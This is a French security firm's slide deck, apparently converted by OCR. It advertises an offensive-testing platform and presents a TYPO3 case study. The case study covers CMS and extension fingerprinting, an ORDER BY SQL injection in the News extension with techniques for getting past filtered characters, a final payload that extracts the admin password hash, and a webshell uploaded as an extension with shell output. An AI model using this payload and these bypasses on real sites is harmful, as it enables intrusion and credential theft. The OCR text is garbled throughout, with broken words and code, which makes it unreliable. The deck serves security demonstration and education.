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Une approche offensive
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Les methodes d’évaluation classigues ne sont plus
suffisantes. Ces limites doivent étre adressees.

@ Test d'intrusion

o Evaluation ponctuelle sur un temps limité
o Aucune validation des correctifs

o Aucune capitalisation des connaissances
o Pas de gestion des larges perimetres

o Rapports statiques
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Web Application Scanner

o Aucune détection des vulnérabilités de logique métier

o Detection de vulnérabilites sur des technologies connues
o Nombre de modules de détection insuffisant

o Faux-positifs

o Rapport trop verbeux
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Une plateforme technique associée a des experts

Connaitre Evaluer Surveiller

o Cartographie des technologies o Base de vulnérabilités privées o Evolutions technigues et fonctionnelles
o Structure visible et invisible o Tests dlintrusion récurrents o Deétection des nouvelles menaces

o Données conservées en base o Vulnérabilités avérées o Déclenchement de tests manuels

o Mises a jour régulieres o Alertes en temps réels o Suivi de la remédiation

o Cartographie sur le portail Ambionics o Vulnérabilites sur le portail Ambionics o Dashboard sur le portail Ambionics
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Une fiche détaillee
pour chague
application web
avec capture d'écran
et technologies
détectées
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6 - SQL Injection

Date de découverte

Date de correction

Vulnérabilité

D

Titre

oper Neutr:

Catégorie

Type danalyse Dynamique

Statut

Asset

Nom

Une fiche pour |

Risque

wexemple.com

Gravité

chague vulnérabilité
pasee sur CWE et
CVSS v3, detaillant
description, impact
et recommandation

= Adjacent (&) Local (L) Physique (P)
Elevée (H)
[ Avcn )] Faibles (L) Elevés (H)
[ Aucune(y) ] Requise (R)
Changée (C)
Aucun (N) Faible (L) [ Eei) ]
Aucun (N) Elevé (H)
[ Ascune(n) ] Faible (L) Elevée (H)

Détails

Description

ad, Update, Delete). Lorsque des param

ment les échapper avant de traiterla re

Conséquences

s informations co

irs enregistrés sur lapplication.

ar les mot:

comprom

ce 3 la fonction mysgli_escape.

tring()

Recommandation
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L g vrale vie
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Ftude de cas TYPO3

Fingerprinting === Evaluation === Exploitation
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Date de la 6jan. 2017
derniére
analyse

Fingerprinting

o Détection automatique du CMS basée
sur I'analyse des headers, du html, des
js ou des css par exemple

o Analyse manuelle du site par un expert

pour verifier les faux negatifs
Applications jQuery 1111

o Ajout et améelioration des detecteurs si

vitter Bootstrap

nécessaire
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Trying to reduce the sco 0 versi
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o Détection de la version basée sur Lo _ ; 2
'analyse des headers, du html et autres
README / Changelog

o Détection de la version précise via

, . . . 0 ion(s) !

| | des fich AN

analyse auton aUque es rcnlers i
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<meta name="gensrator" content="TYFO3 4.4 CM3" /= X

<meta name="DESCRIPTICH" content="Chsesrvatoire de la Sécurité des Systémes d' Information =t des Résesaux” />
<meta name="KEYWORDS" content="03SIE, SUR, Windows, ReSIST, Unix, BEéseau, Sécurité" />

uced to 7 ver
reduce the

d
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TYPO3 CMS

BOOTSTRAP PACKAGE

) Connexion au backend TYPO3 du site Smm———

Fingerprinting - Interface admin

o Détection de l'interface d'administration

o Tentatives de brute-force @ Messages importants

11-02-15: Important Messages

You can edit the Important Messages shown on the
Login screen very easily: As admin, just edit the records of
type System News which are stored in the root folder.

11-02-15: Welcome to TYPO3

Explore the different roles. Login with one of the following
usernames and the password that you choose during the
installation routine:

= admin = user with full access to the system

s simple_editor = very limited access, ideal for basic
editing

« advanced_editor = more power, but still limited to
exactly what an editor is supposed to do

Have fun!
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Fingerprinting - Modules

o Analyse statique du html
o Analyse dynamique a partir de

requétes sur les bonnes URLs

&« C | ® vmweb/typo3/typo3confiext/this_doesnt_exist/

Not Found

The requested URL /typo3/typo3confiext/this_doesnt_exist/ was not found on this server.

Apache/2.4.18 (Ubuntu) Server at vmweb Port 80

&« C | @ vmweb/typo3/typo3conf/ext/news/
Forbidden

You don't have permission to access /typo3/typo3confiext/news/ on this server.

Apache/2.4.18 (Ubuntu) Server at vimweb Port 80

=input type="hidden"” name="tx_news pil[_ referrer][@extension]” value="News" />
<input type="hidden" name="tx_news pill[_ referrer][@controller]" wvalue="News" />

<input type="hidden" name="tx_news pill_ referrer][@action]" value="searchForm" /=

<div class="powermail radio _inner powermail radio_inner 2"=

<input class="powermail radiec" id="powermail field marker 2" type="radio" name="tx_powermail pil[field]l[marker]" value="Non" /=

Confidentiel | Ambionics Security



—v—

Fingerprinting - Modules

o Détection des modules publiques (1593 a ce jour) et prives

o Enrichissement de |la base des modules

——————————————————— T B O B A B R S A ii il B

uuid | name

——————————————————— e i s 2
wseils templates

powermail cond Powermail Conditions

powermail powermail

News MNews system

phpmyadmin phpMyAdmin

realurl Speaking URLs for TYPO3

vhs VHS: Fluid ViewHelpers

dd pooglesitemap Google EitemaE

bootstrap package | Bootstrap Package

devlo,

5 Developers Log
introduction The official Introduction Package
tscobj Content Element From TypoScript
ods_redirects Static redirects

ow_twitter Twitter feed

——————————————————— et s
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typo3conf/ext/wseils_templates/
typo3cont/ext/powermail_cond/
typo3cont/

t;ED3CDﬂFI 5
typo3cont/ext/phpmyadmin/
typo3cont/ext/realurl/
typo3cont/ext/vhs/

typo3conf/ googlesitemap/
typo3cont/ ootstrap package/
typo3cont/ex -devlnﬁf
typo3cont/ext/introduction/
typo3conf/ext/tscobj/
typo3cont/ ds_redirects/
typo3conf/ext/cw_twitter/
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Evaluation - Approche

o Version du CMS a jour
o Deux extensions semblent intéressantes (Powermail et News)

o Points d'entrée identifies sur le site pour ces deux modules

<input type="hidden" name="{EX_news pill referrer][@extension]" wvalue="News" />
=input type="hidden"” name="tx_news pil[_ referrer][@coentroller]” value="News" />
<input type="hidden" name="tx _news pill referrer][@action]" value="searchForm" /=

<div class="powermail radic inner powermail radie_inner 2"=
<input class="powermail radieo" id="powermail field marker 2" type="radio" name="tx_ powermail pil[field]l[marker]" value="Non" /=
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Evaluation - Analyse

o Extensions basées sur un modele MVC

o Extensions genéralement tres complexes

o Analyse de Powermail sans resultat

o News est plus prometteur

o Tableau SoverwriteDemand de la méethode
listAction du controller News utilise pour
modifier 'objet Demand contenant les

parametres de sélection d'une news

function overwriteDemandObject($c

($this->ignoredSettingsForOverride $property) {
unset($overwriteDemand[$property]);

($overwriteDemand $propertyName $propertyValue) {
$methodName - 'set' . ucfirst($propertyName);

(is callable($demand, $setterMethodName))
$subject- >{$setterMethodName}($propertyValue);

$demand;

function listAction(array Demand = null)

$demand = $this->createDemandObjectFromSettings($this->settings);

$demand = $this->overwriteDemandObject($demand, $overwriteDemand);

$newsRecords = $this->newsRepository->findDemanded($demand);

$this->view->display($newsRecords);
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Evaluation - Analyse

o Définition des termes recherchés

o Données par la suite utilisées pour
construire une requéte SQL

o Champs order utilisé directement

dans la requéte via ORDER BY
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ArchiveRestriction($archiveRestriction)
Categories($categories)
CategoryConjunction($categoryConjunction)
IncludeSubCategories($includesubCategories)
Author ($author)

Tags($tags)
TimeRestriction($timeRestriction)
TimeRestrictionHigh($timeRestrictionHigh)
Order($order)
OrderByAllowed($orderByAllowed)
TopNewsFirst($topNewsFirst)

SearchFiel earchFields)

TopNewsRes on($topNewsRestriction)
StoragePage($s oragePage)

Day( $§]

Hr-nt h{ irnr-nt h)

Year($year)

Limit($1limit)

Offset(Joffset)

DateField($dateField)

Search($search = null)
ExcludeAlreadyDisplayediews ($excludeAlreadyDisplayediews)
HldeIdLlftfﬁhldEIdLlftJ

ALtlnn&ndleccfsactlnn $controller)




function overwriteDemandObject

($this->ignoredSettingsForOverride $property) {
unset($overwriteDemand[$property]);

Exploitation

($overwriteDemand $propertyName $propertyValue) {
$methodName - 'set' . ucfirst($propertyName);

o Certains parametres filtrées comme

s_callable($demand, $setterMethodName))
$subject -{$setterMethodName}($propertyValue);

orderByAllowed
o Simplement contourné avec $denand;
OrderByAllowed

o POST overrideDemand[OrderByAllowed]

function listAction(array

ringsFrom emandInterface $demand = $this->createDemandObjectFromSettings($this->settings);

$orderings

$demand - $this->overwriteDemandObject($demand, $overwriteDemand);

$newsRecords - $this->newsRepository->findDemanded($demand);

(Validation: :isValidO ($demand getOrder(), $demand->getOrderByAllowed())) {
$orderings - $demand

$this->vi display 3
$orderings; $this->view->display($newsRecords);
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ser from tx_news_domain model news order

-
2 rows in set (0.80 sec)

EX p | O | ta t | O m - S Q |_ | n_J eC t | O n a 03]> from tx_news_domain_model_news order by teaser;

o SELECT .. FROM news .. ORDER
BY Sorder

from tx_news_domain_model news order by IF(1-1, title, teaser);

o Théorie facile 2 rows in set (0.8 sec)

typo3]> select title, teaser from tx_news domain model news order by IF(1=8, title, teaser);
+

o Ici plusieurs contraintes avec un

Article #1

+o-m- —ee -

oréfixe et des badchars e

MariaDB [typo3]> Il
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Exploitation - Problemes

o Badchars

=  Majuscules

= Espaces: " " "\t" "\n"

= Virgule:""

= Commentaires SQL: /*/, #, etc.
o Nom de la table en prefixe:

= ORDER BY tx_news domain_model news.Sorder
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Exploitation - Solutions

o Majuscules
= SELECT -> select, FROM -> from, etc.
o Espace
= "> Imbriquer avec () [commentaires interdits]
o Virgule
= [F(<condition>, x, y) -> (CASE <condition> WHEN T THEN x ELSE y END)
= SUBSTRING(X, 4, 1) > SUBSTRING(X FROM 4 FOR 1)
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Exploitation - Toujours des solutions

o Préfixe:
= uid * (CASE <condition>WHEN 1T THEN -1 ELSE 1 END)

o Ordre de retour inverse lorsque la condition est fausse
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Exploitation - Payload final

o uid*(case(ord(substring((select(password)from(be users)where(uid=1))from(2)f
or(1)))when(48)then(1)else(-1)end)

o Récupération du hash de I'admin

§ ./news sqgli.py

UEErnamé: admin
Password: $PSCW.hg7iNb3YELWEWZWzNoKKhe3Ta21e
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I Manage Extensions v _

WEB Q
[ Page
. . L . @ View Extension | Choose File | shell_extension.zip |
Exploitation - Exécution de code o
('a" :::f:ESS
o Hash cassé o e
. . ) ) News Administration Searcn::
o Acces a l'interface d'admin ™ ”
Filelist TYPO3 Core
o Upload du shell via les modules e 3 vetpabaut

o Shell

wiww-datagvmweb:~ html [typo3$ id

id= mm—data_l F www-data) groups=33(www-data)
wiww-datagvmweb :~/ trnl yprﬁi ps faux | grep apache
www-data 27673 884 pts/l8 S+ 6:29 ©:86 ‘_ grep apache
root ? Ss  févr.2: B:89 / bin/apache2 -k start
wwiw-data | bin/apache2 -k start
www-data in/apache2 -k start
www-data pache2 -k start
www-data pache2 -k start
www-data 2 -k start
www-data 2 -k start
www-data -k start
www-data 2 -k start
www-data 181284 62768 ? 2 -k start
www-data 5 181344 68944 ? 2 -k start
www-dataf b: trnl typr:-?S pwd
fvar/www/ hitml, y
wiww-datagvmweb: -htrnl,. typo3s ]

182672
181688 6.

e S R =
e LN G O~ O 0O LN N e
LA LA LA LA LA LA LA LA LA LA




wWwWWw.ambionics:io
@ambionics
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